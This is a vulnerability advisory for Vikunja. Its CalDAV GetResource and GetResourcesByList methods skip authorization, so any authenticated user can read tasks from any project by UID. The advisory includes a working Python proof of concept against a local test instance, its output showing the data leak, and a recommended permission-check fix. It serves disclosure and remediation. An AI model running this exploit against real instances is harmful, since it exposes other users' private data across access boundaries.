Vikunja Missing Authorization on CalDAV Task Read

## Summary The CalDAV `GetResource` and `GetResourcesByList` methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. ## Details `GetTasksByUIDs` at `pkg/models/tasks.go:376-393` performs a global database query with no authorization check: ```go func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) { tasks = []*Task{} err = s.In("uid", uids).Find(&tasks) // ... } ``` The `web.Auth` parameter is accepted but never used for permission filtering. This function is called by: - `GetResource` at `pkg/routes/caldav/listStorageProvider.go:266` (CalDAV GET) - `GetResourcesByList` at `pkg/routes/caldav/listStorageProvider.go:199` (CalDAV REPORT multiget) All other CalDAV operations enforce authorization: `CreateResource` checks `CanCreate()`, `UpdateResource` checks `CanUpdate()`, `DeleteResource` checks `CanDelete()`. Only the read operations skip authorization. The project ID in the CalDAV URL is ignored. A request to `/dav/projects/{attacker_project}/{victim_task_uid}.ics` returns the victim's task regardless of which project ID is in the path. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests from requests.auth import HTTPBasicAuth TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} alice_token = login("alice", "Alice1234!") bob_token = login("bob", "Bob12345!") # alice creates private project and task proj = requests.put(f"{API}/projects", headers=h(alice_token), json={"title": "Private"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token), json={"title": "Secret CEO salary 500k"}).json() # task UID must be set (normally done by CalDAV sync; here via sqlite for PoC) # sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};" TASK_UID = "test-uid-001" # bob tries REST API r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token)) print(f"REST API: {r.status_code}") # 403 # bob gets CalDAV token caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h(bob_token)).json()["token"] # bob reads alice's task via CalDAV (project ID in URL doesn't matter) r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics", auth=HTTPBasicAuth("bob", caldav_token)) print(f"CalDAV: {r.status_code}") # 200 print(r.text) # contains SUMMARY:Secret CEO salary 500k ``` Output: ``` REST API: 403 CalDAV: 200 BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:test-uid-001 SUMMARY:Secret CEO salary 500k DUE:20260401T000000Z END:VTODO END:VCALENDAR ``` The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task. ## Impact An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries. Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts. ## Recommended Fix Add a `CanRead` permission check on each returned task's project in both `GetResource` and `GetResourcesByList`: ```go tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user) // ... for _, t := range tasks { project := &models.Project{ID: t.ProjectID} can, _, err := project.CanRead(s, vcls.user) if err != nil || !can { return nil, false, errs.ForbiddenError } } ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

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10 Apr 2026 15:34:23 UTC

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